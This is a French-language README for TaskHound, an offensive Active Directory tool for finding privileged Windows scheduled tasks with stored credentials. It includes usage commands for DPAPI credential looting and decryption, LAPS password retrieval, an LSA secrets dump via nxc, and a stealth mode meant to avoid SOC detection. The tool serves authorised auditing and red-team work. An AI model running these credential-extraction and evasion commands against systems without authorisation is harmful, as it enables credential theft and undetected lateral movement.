
Outil pour énumérer les tâches planifiées privilégiées sur les systèmes distants
Outil de découverte de tâches planifiées privilégiées Windows pour le plaisir et le profit.
TaskHound traque les tâches planifiées Windows qui s'exécutent avec des comptes privilégiés et des identifiants stockés. Il énumère les tâches via SMB, analyse les XMLs et identifie les opportunités d'attaque à haute valeur via l'intégration BloodHound.
Pour le contexte et des explications détaillées : consultez les articles de blog associés - Partie 1 et Partie 2.
git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound python3 -m venv .venv && source .venv/bin/activate pip install -r requirements.txt && pip install .
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --threads 10
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dc-ip 10.0.0.1 --auto-targets --threads 20
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10
taskhound --offline-disk /mnt/disk
> **Support d'authentification** : TaskHound prend en charge la plupart des mécanismes d'authentification majeurs, y compris le mot de passe, le hachage NTLM, Kerberos (également avec ccache), et l'authentification par clé AES.
## Fichier de configuration
TaskHound prend en charge les fichiers de configuration TOML pour les paramètres persistants. Créez `taskhound.toml` dans votre répertoire de travail ou `~/.config/taskhound/` :```toml
[authentication]
username = "svc_taskhound"
domain = "THESIMPSONS.LOCAL"
[target]
dc_ip = "10.0.0.1"
threads = 10
timeout = 30
[bloodhound]
live = true
connector = "http://127.0.0.1:8080"
api_key = "${BH_API_KEY}" # Use env vars for secrets
api_key_id = "${BH_API_KEY_ID}"
type = "bhce"
[bloodhound.opengraph]
enabled = true
output_dir = "./opengraph"
[laps]
enabled = true
[cache]
enabled = true
ttl = 86400 # 24 hours
Priorité : arguments CLI > variables d'environnement > configuration locale > configuration utilisateur > valeurs par défaut
Le BOF de TaskHound est inclus dans le Adaptix Extension-Kit sous SAR-BOF/taskhound/.
TTTTT AAA SSS K K H H OOO U U N N DDDD T A A S K K H H O O U U NN N D D T AAAAA SSS KKK HHHHH O O U U N N N D D T A A S K K H H O O U U N NN D D T A A SSSS K K H H OOO UUU N N DDDD
by 0xr0BIT
[+] Connecting to BloodHound CE at http://127.0.0.1:8080 [+] BloodHound connection successful (API v2) [+] High Value target data loaded (42 users) [+] OpenGraph generation enabled (auto-upload active) [] Processing target: moe.thesimpsons.local [+] moe.thesimpsons.local: Connected via SMB [+] moe.thesimpsons.local: Local Admin Access confirmed [] moe.thesimpsons.local: Enumerating scheduled tasks (skipping \Microsoft) [+] moe.thesimpsons.local: Found 12 tasks (3 privileged, 2 with stored credentials)
┌──────────────────────────────────────────────────────────────────────────────┐ │ [TIER-0] moe.thesimpsons.local - \DuffBrewery\BackupJob │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\Administrator │ │ What │ C:\Scripts\backup_beer_recipes.ps1 │ │ Author │ THESIMPSONS\burns.monty │ │ Date │ 2025-06-15T02:30:00 │ │ Trigger │ Calendar (starts 2025-06-15 02:30, daily) │ │ Reason │ Tier 0 - Domain Admins membership │ │ Cred Validation │ CONFIRMED_VALID │ │ Pwd Analysis │ Password unchanged AND ran within schedule - confirmed │ └──────────────────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────────────────┐ │ [PRIV] moe.thesimpsons.local - \KrustyBurger\InventorySync │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\svc_krusty │ │ What │ C:\KrustyApps\sync.exe --silent │ │ Author │ THESIMPSONS\carlson.carl │ │ Date │ 2025-03-10T08:00:00 │ │ Trigger │ Calendar (starts 2025-03-10 08:00, every 4 hours) │ │ Reason │ High Value match found in BloodHound │ │ Cred Validation │ DEFINITELY_STALE │ │ Pwd Analysis │ Password changed AFTER last run - credentials are stale │ └──────────────────────────────────────────────────────────────────────────────┘
╭─────────────────────────── SCAN COMPLETE ────────────────────────────────────╮ │ [+] Succeeded: 1 │ │ [-] Failed: 0 │ │ Total time: 2.34s │ │ Avg per target: 2340ms │ ╰──────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────── TASK SUMMARY ─────────────────────────────────────╮ │ Hostname Tier-0 Privileged Normal │ │ moe.thesimpsons.local 1 2 9 │ ╰──────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────── BLOODHOUND OPENGRAPH ─────────────────────────────────╮ │ [+] Generated 3 nodes, 5 edges │ │ [+] Uploaded to BloodHound successfully │ │ [*] JSON saved to: ./opengraph/taskhound_data.json │ ╰──────────────────────────────────────────────────────────────────────────────╯
---
## Intégration BloodHound
TaskHound prend en charge à la fois **Legacy BloodHound** (Neo4j) et **BloodHound Community Edition (BHCE)** avec détection automatique du format.
### Connexion en direct```bash
# BHCE with API Key (recommended)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --bhce --bh-connector http://127.0.0.1:8080 \
--bh-api-key "YOUR_API_KEY" --bh-api-key-id "YOUR_KEY_ID"
# BHCE with username/password
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --bhce --bh-connector http://127.0.0.1:8080 \
--bh-user admin --bh-password password
# Legacy BloodHound (Neo4j)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --legacy --bh-connector bolt://127.0.0.1:7687 \
--bh-user neo4j --bh-password password
Si une connexion en direct n'est pas possible, exportez les utilisateurs à haute valeur avec ces requêtes Cypher :
BHCE :```cypher MATCH (n) WHERE coalesce(n.system_tags, "") CONTAINS "admin_tier_0" OR n.highvalue = true MATCH p = (n)-[:MemberOf*1..]->(g:Group) RETURN p;
**Héritage :**```cypher
MATCH (u:User {highvalue:true})
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, properties(u) as all_props, collect(g.name) as groups
RETURN u.samaccountname AS SamAccountName, all_props, groups
Then use: taskhound --bh-data exported_users.json ...
TaskHound crée des nœuds et des arêtes personnalisés dans BloodHound CE pour visualiser les chemins d'attaque des tâches planifiées.
Ce que vous obtenez :
ScheduledTask avec 20+ propriétés (identifiants, déclencheurs, analyse de mot de passe, statut de validation)HasTask, HasTaskWithStoredCreds, RunsAstaskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph --bh-no-upload
> **Note** : OpenGraph est réservé à BHCE. BloodHound hérité ne prend pas en charge les types de nœuds personnalisés.
---
## Intégration LAPS
TaskHound peut récupérer et utiliser automatiquement les mots de passe LAPS pour l'authentification par hôte. Supporte à la fois Windows LAPS (`msLAPS-Password`) et Legacy LAPS (`ms-Mcs-AdmPwd`), y compris les mots de passe chiffrés via MS-GKDI.```bash
# Basic LAPS - auto-retrieves passwords per target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10
# Custom local admin username
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --laps-user localadmin
# LAPS with OPSEC mode (other noisy operations disabled)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --opsec --force-laps
Types de LAPS pris en charge :
| Type | Attribut | Chiffré |
|---|---|---|
| Windows LAPS | msLAPS-Password | Non |
| Windows LAPS |
TaskHound extrait et déchiffre les identifiants de tâches stockés en utilisant DPAPI. Le pillage DPAPI est activé par défaut.```bash
nxc smb moe.thesimpsons.local -u homer.simpson -p 'Doh!123' --lsa
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dpapi-key 0x51e43225...
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local
taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --output-dir ./collected
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --no-loot
> **Important** : Chaque hôte possède une clé DPAPI_SYSTEM unique. Pour les scans multi-cibles, collectez (par défaut), puis déchiffrez chaque cible hors ligne.
---
## Validation des identifiants
TaskHound évalue si les mots de passe des tâches stockés sont toujours probablement valides en interrogeant l'historique d'exécution des tâches via RPC et en appliquant des heuristiques. Ceci est **activé par défaut**.```bash
# Credential validation is on by default, no flag needed
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
# Disable validation explicitly
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-validate-creds
Le Planificateur de tâches Windows n'enregistre que les exécutions réussies des tâches. Les échecs d'authentification (mot de passe incorrect, compte verrouillé, etc.) sont silencieusement ignorés. La tâche ne s'exécute tout simplement pas.
Point clé : Windows valide les identifiants au moment de la création de la tâche. Si vous essayez de créer une tâche avec un mauvais mot de passe, vous obtenez ERROR_LOGON_FAILURE et la tâche n'est pas créée. Cela signifie : si une tâche avec des identifiants stockés existe, le mot de passe était valide au moment de sa création.
TaskHound utilise des heuristiques pour estimer la validité des identifiants :
Le point clé : comparer pwdLastSet d'AD avec LastRunTime du Planificateur de tâches indique si le mot de passe a changé après la dernière exécution réussie. Pour les tâches jamais exécutées, comparer pwdLastSet avec task_creation_date indique si le mot de passe a changé après que la tâche a été créée avec des identifiants valides.
Sans données AD (par ex., --no-ldap et pas de BloodHound) : TaskHound revient en mode RPC uniquement, utilisant simplement le code de retour et la dernière heure d'exécution. Une exécution réussie renvoie LIKELY_VALID ; la détection d'obsolescence basée sur la planification s'applique toujours si l'intervalle de déclenchement est connu à partir du XML de la tâche.
Remarque : Désactivé lors de l'utilisation de
--opsecou--no-rpc.
TaskHound prend en charge plusieurs formats de sortie pour différents cas d'utilisation. Toutes les sorties utilisent une structure de répertoires organisée sous --output-dir (par défaut : ./output).
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,html
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o json
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o html --output-dir ./audit_results
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,csv,html --output-dir ./full_audit
### Structure du répertoire```
./output/ # Base directory (--output-dir)
├── plain/ # Plain text output
│ └── <hostname>/
│ └── tasks.txt
├── json/ # JSON export
│ └── taskhound.json
├── csv/ # CSV export
│ └── taskhound.csv
├── html/ # HTML security reports
│ └── taskhound.html
├── opengraph/ # BloodHound OpenGraph files
│ └── taskhound_data.json
└── raw_backups/ # Raw collection (XML + DPAPI)
└── <hostname>/
├── tasks/ # Task XML files
└── dpapi_loot/ # DPAPI credential blobs
La sortie HTML génère un rapport de sécurité complet conçu pour les évaluations d'équipe bleue :
Par défaut, TaskHound enregistre les fichiers XML bruts des tâches et les blobs d'identifiants DPAPI pour une analyse hors ligne :```bash
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-backup
taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...
---
## Scan multi-threadé
Pour les grands environnements, utilisez le scan parallèle avec limitation de débit :```bash
# 20 parallel workers, max 5 targets/second
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --threads 20 --rate-limit 5
# Auto-discover servers only (uses preset filter)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter servers --threads 20
# Include disabled computers and extend stale threshold to 90 days
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --include-disabled --stale-threshold 90
# Target workstations only, disable stale filtering
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter workstations --stale-threshold 0
Par défaut, --auto-targets applique un filtrage intelligent pour réduire le bruit et les échecs de connexion :
| Filtre | Par défaut | Remplacer |
|---|---|---|
| Comptes désactivés |
Priorité des sources de données : BloodHound (si configuré) → Repli LDAP
Lors de l'utilisation de BloodHound, TaskHound interroge avec include_properties=true pour une énumération efficace en une seule requête. Si les données BloodHound datent de plus de 7 jours, un avertissement s'affiche ; au-delà de 30 jours, un avertissement urgent est déclenché.
Préréglages de filtrage :
servers - Systèmes d'exploitation Windows Server uniquementworkstations - Systèmes d'exploitation non serveur uniquement(raw LDAP) - Filtre LDAP personnalisé (nécessite une source LDAP)TaskHound résout les SID en noms lisibles en utilisant une chaîne de repli à plusieurs niveaux :
taskhound -u localadmin -p 'L0c4lP@ss!' -d . -t moe.thesimpsons.local
--ldap-user homer.simpson --ldap-password 'Doh!123' --ldap-domain thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --gc-server 10.0.0.1
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --opsec
---
## Analyse hors ligne
Analysez les tâches sans accès réseau:```bash
# Previously collected XML backups
taskhound --offline ./backup/moe.thesimpsons.local
# Mounted disk image
taskhound --offline-disk /mnt/disk
# Mounted image with custom hostname
taskhound --offline-disk /mnt/disk --disk-hostname MOE
TaskHound offre un contrôle granulaire des opérations réseau pour équilibrer furtivité et fonctionnalité.
Default: BloodHound → Cache → LSARPC → LDAP → GC
--no-ldap: BloodHound → Cache → LSARPC
--no-rpc: BloodHound → Cache → LDAP → GC
--opsec: BloodHound → Cache (only)
### Comportement par défaut
TaskHound est **très bruyant par défaut** - toutes les fonctionnalités sont activées pour une visibilité maximale. Cela le rend idéal pour les audits et les évaluations complètes où l'OPSEC n'est pas une préoccupation :
- **Détection de Credential Guard** - Activé par défaut (désactiver avec `--no-credguard`)
- **Validation des identifiants** - Activé par défaut (désactiver avec `--no-validate-creds`)
- **Pillage DPAPI** - Activé par défaut (désactiver avec `--no-loot`)
- **Résolution LDAP** - Activé par défaut (désactiver avec `--no-ldap`)
- **Opérations RPC** - Activé par défaut (désactiver avec `--no-rpc`)
> [!WARNING]
> **Les vérifications de Credential Guard sont HAUTEMENT détectables.** Étant donné que le service Remote Registry est arrêté par défaut sur Windows moderne, TaskHound **démarrera le service** à distance via SCM, effectuera les vérifications, puis l'arrêtera (comme secretsdump). Cela fera scintiller tout SOC décent comme un arbre de Noël. **Utilisez absolument `--no-credguard` si vous voulez éviter cela lors des engagements !**
En parlant d'engagements : Pour les opérations d'équipe rouge/furtives, utilisez `--opsec` pour désactiver toutes les fonctionnalités bruyantes à la fois. (Ou utilisez le BOF).
### Exemples d'utilisation```bash
# Full OPSEC mode (disables: LDAP, RPC, looting, credguard, validation; forces sequential scanning)
taskhound -u user -p 'pass' -d corp.local -t target --opsec
# OPSEC with jitter (random 0-5 second delays between hosts)
taskhound -u user -p 'pass' -d corp.local --targets-file hosts.txt --opsec --jitter 5
# Disable LDAP only (keep LSARPC for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-ldap
# Disable RPC only (keep LDAP for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-rpc
# LAPS with OPSEC (force LAPS LDAP queries despite --opsec)
taskhound -u user -p 'pass' -d corp.local --laps --opsec --force-laps
--bh-live--opsec - Désactive toutes les opérations bruyantes en une fois--jitter pour la randomisation temporelle - Éviter les schémas de scan prévisibles--offlineTaskHound utilise Rich pour une sortie console formatée avec des tableaux colorés et des indicateurs de progression.``` taskhound --help
<details>
<summary>Cliquez pour développer l'utilisation complète</summary>```
Usage: taskhound [OPTIONS] [TARGETS]
AUTHENTICATION OPTIONS
-u, --username Username (required for online mode)
-p, --password Password (omit with -k for Kerberos/ccache)
-d, --domain Domain (required for online mode)
--hashes NTLM hashes (LM:NT or NT-only)
-k, --kerberos Use Kerberos authentication
--aes-key AES key for Kerberos (32 or 64 hex chars)
TARGET OPTIONS
-t, --target Single target or comma-separated list
--targets-file File with targets, one per line
--dc-ip Domain controller IP
--ns, --nameserver DNS nameserver for lookups
--timeout Connection timeout in seconds (default: 5)
--threads Parallel worker threads (default: 10)
--rate-limit Max targets per second (default: unlimited)
--jitter SECONDS Random delay (0-N seconds) between hosts (OPSEC, sequential only)
--dns-tcp Force DNS over TCP (for SOCKS proxies)
--auto-targets Auto-discover targets (BloodHound first, LDAP fallback)
--ldap-filter Filter for auto-targets: 'servers', 'workstations', or raw LDAP
--include-dcs Include Domain Controllers in auto-targets
--include-disabled Include disabled computer accounts
--stale-threshold Exclude computers inactive >N days (default: 60, 0=disable)
SCANNING OPTIONS
--offline Parse XMLs from directory
--offline-disk Analyze mounted Windows filesystem
--disk-hostname Override hostname for offline-disk
--bh-data BloodHound export file for HV detection
--opsec Stealth mode: --no-ldap --no-rpc --no-loot --no-credguard --no-validate-creds --threads 1
--no-rpc Disable RPC operations (LSARPC, CredGuard, validation)
--include-ms Include \Microsoft tasks
--include-local Include local system accounts
--include-all Include ALL tasks
--unsaved-creds Show tasks without stored credentials
--no-credguard Disable Credential Guard detection (default: enabled)
--no-validate-creds Disable credential validation (default: enabled)
BLOODHOUND OPTIONS
--bh-live Enable live BloodHound connection
--bh-connector BloodHound URI (default: http://127.0.0.1:8080)
--bh-user BloodHound username
--bh-password BloodHound password
--bh-api-key BloodHound API key
--bh-api-key-id BloodHound API key ID
--bh-timeout API query timeout (default: 120)
--bhce Use BHCE (Community Edition)
--legacy Use Legacy BloodHound (Neo4j)
--bh-save Save query results to file
OPENGRAPH OPTIONS (BHCE ONLY)
--bh-opengraph Generate OpenGraph JSON files (saves to {output_dir}/opengraph/)
--bh-no-upload Skip automatic upload
--bh-force-icon Force icon update
--bh-icon Icon name (default: clock)
--bh-color Icon color (default: #8B5CF6)
--bh-allow-orphans Create edges for missing nodes
DPAPI OPTIONS
--no-loot Disable DPAPI credential collection (default: enabled)
--dpapi-key DPAPI_SYSTEM userkey (hex format)
LDAP/SID RESOLUTION
--no-ldap Disable LDAP/GC operations
--ldap-user Alternative LDAP username
--ldap-password Alternative LDAP password
--ldap-hashes Alternative LDAP hashes
--ldap-domain Alternative LDAP domain
--ldap-tier0 Enable LDAP-based Tier-0 detection
--gc-server Global Catalog server IP
LAPS OPTIONS
--laps Enable LAPS authentication
--laps-user Override local admin username
--force-laps Force LAPS in OPSEC mode
CACHE OPTIONS
--cache-ttl Cache TTL in seconds (default: 86400)
--no-cache Disable caching
--clear-cache Clear cache before run
--cache-file Cache file path
OUTPUT OPTIONS
-o, --output Output formats (comma-separated: plain,json,csv,html)
Default: plain
--output-dir Base output directory (default: ./output)
--no-backup Disable raw XML backup collection
--no-summary Disable summary table
Output directory structure:
./output/
├── plain/<host>/tasks.txt # Plain text output
├── json/taskhound.json # JSON export
├── csv/taskhound.csv # CSV export
├── html/taskhound.html # HTML security report
├── opengraph/ # BloodHound OpenGraph files
└── raw_backups/<host>/ # Raw XML + DPAPI files
├── tasks/ # Task XML files
└── dpapi_loot/ # DPAPI credential blobs
MISC
--verbose Verbose output
--debug Debug output with stack traces
Quand la caféine et le temps libre s'alignent :
Et tous ceux qui ont contribué à rendre les outils de sécurité offensive accessibles.
TaskHound est strictement un outil d'audit et éducatif. Utilisez-le uniquement dans des environnements que vous possédez ou pour lesquels vous avez une autorisation explicite de test. Sérieusement. Ne soyez pas une mauvaise personne.
Les PR sont les bienvenus. La moitié de ce code est le fruit d'une session de codage sous caféine, n'attendez donc pas de miracles.
Utilisez-le de manière responsable. Aucune garantie fournie. Voir LICENSE pour les détails.
| Fonctionnalité | Description |
|---|
| Détection de niveau 0 et à haute valeur | Identifie automatiquement les tâches s'exécutant en tant qu'administrateurs de domaine, administrateurs d'entreprise et autres comptes privilégiés |
| Intégration BloodHound | Connectez-vous à des instances BHCE/Legacy en direct ou ingérez des exportations pour la détection d'utilisateurs à haute valeur |
| Support OpenGraph | Visualisez les tâches planifiées comme des nœuds de chemin d'attaque dans BloodHound CE |
| Intégration LAPS | Récupération et utilisation automatiques des mots de passe LAPS (Windows LAPS et Legacy) pour l'authentification par hôte |
| Extraction d'identifiants DPAPI | Collecte et déchiffrement des blobs DPAPI contenant les identifiants de tâches stockés |
| Analyse multi-thread | Traitement parallèle des cibles avec limitation de débit pour les grands environnements |
| Détection de niveau 0 basée sur LDAP | Détection des comptes privilégiés via l'appartenance à un groupe sans BloodHound |
| Validation des identifiants | Vérification si les mots de passe de tâches stockés sont toujours valides via RPC |
| Analyse hors ligne | Traitement des images disque montées ou des XMLs précédemment collectés |
| Formats de sortie multiples | Rapports de sécurité en texte brut, JSON, CSV et HTML avec notation de sévérité |
| Résolution SID | Résolution multi-niveaux via BloodHound → Cache → LSARPC → LDAP → GC |
| Mise en cache | Cache persistant basé sur SQLite pour les recherches SID et les identifiants LAPS |
| Source | Méthode de détection |
|---|
| BHCE | isTierZero, tags système (admin_tier_0), AdminSDHolder |
| Legacy | AdminSDHolder (admincount=1), détection basée sur les SID |
| LDAP | Requêtes d'appartenance aux groupes (--ldap-tier0) |
| Intégré | SID Tier 0 connus (Domain Admins, Enterprise Admins, etc.) |
msLAPS-EncryptedPassword |
| Oui (MS-GKDI) |
| LAPS hérités | ms-Mcs-AdmPwd | Non |
| Statut | Signification |
|---|
CONFIRMED_VALID | Mot de passe inchangé depuis la création de la tâche ET la tâche s'est exécutée dans les délais prévus - identifiants confirmés fonctionnels |
HIGH_CONFIDENCE_VALID | Mot de passe inchangé depuis la création de la tâche, mais le déclenchement programmé est inconnu (ex. déclencheur au démarrage) - identifiants probablement valides |
LIKELY_VALID | Mot de passe changé mais la tâche s'est exécutée dans les délais (identifiants mis à jour), OU la tâche s'est exécutée avec succès (mode RPC uniquement) |
POSSIBLY_STALE | La tâche aurait dû s'exécuter mais ne l'a pas fait - peut indiquer des identifiants obsolètes |
DEFINITELY_STALE | Mot de passe changé après la dernière exécution réussie - les identifiants sont définitivement incorrects |
NEVER_RAN_LIKELY_VALID | La tâche ne s'est jamais exécutée, mais le mot de passe est inchangé depuis sa création - probablement valide (peut manquer de droits d'ouverture de session batch) |
NEVER_RAN_POSSIBLY_STALE | La tâche ne s'est jamais exécutée, et le mot de passe a été changé après sa création - probablement obsolète |
NEVER_RAN_UNKNOWN | La tâche ne s'est jamais exécutée, pas de contexte AD - était valide à la création, statut actuel inconnu |
UNKNOWN | Impossible à déterminer (compte bloqué, etc.) |
| Format | Option | Description | Cas d'utilisation |
|---|
| Texte brut | -o plain | Sortie console lisible (par défaut) | Utilisation interactive, révision rapide |
| JSON | -o json | Export structuré lisible par machine | Automatisation, analyse de données, programmation |
| CSV | -o csv | Export compatible tableur | Rapports, filtrage, analyse avec Excel |
| HTML | -o html | Rapport de sécurité avec notation de sévérité | Audits équipe bleue, rapports parties prenantes |
| Exclu |
--include-disabled |
| Ordinateurs obsolètes (>60 jours) | Exclu | --stale-threshold 0 (désactiver) |
| Contrôleurs de domaine | Exclu | --include-dcs |
| Protocole | Opérations | Drapeau pour désactiver |
|---|
| SMB | Énumération des tâches (toujours utilisée) | N/A |
| LDAP (389/636) | Résolution SID, détection Tier-0, pwdLastSet | --no-ldap |
| Catalogue global (3268) | Résolution SID inter-domaines | --no-ldap |
| LSARPC (pipe SMB) | Résolution SID de repli | --no-rpc |
| Registre distant (pipe SMB) | Détection Credential Guard | --no-credguard |
| RPC du Planificateur de tâches (pipe SMB) | Validation des identifiants | --no-validate-creds |
| Collecte de fichiers DPAPI (SMB) | Collecte des blobs d'identifiants DPAPI | --no-loot |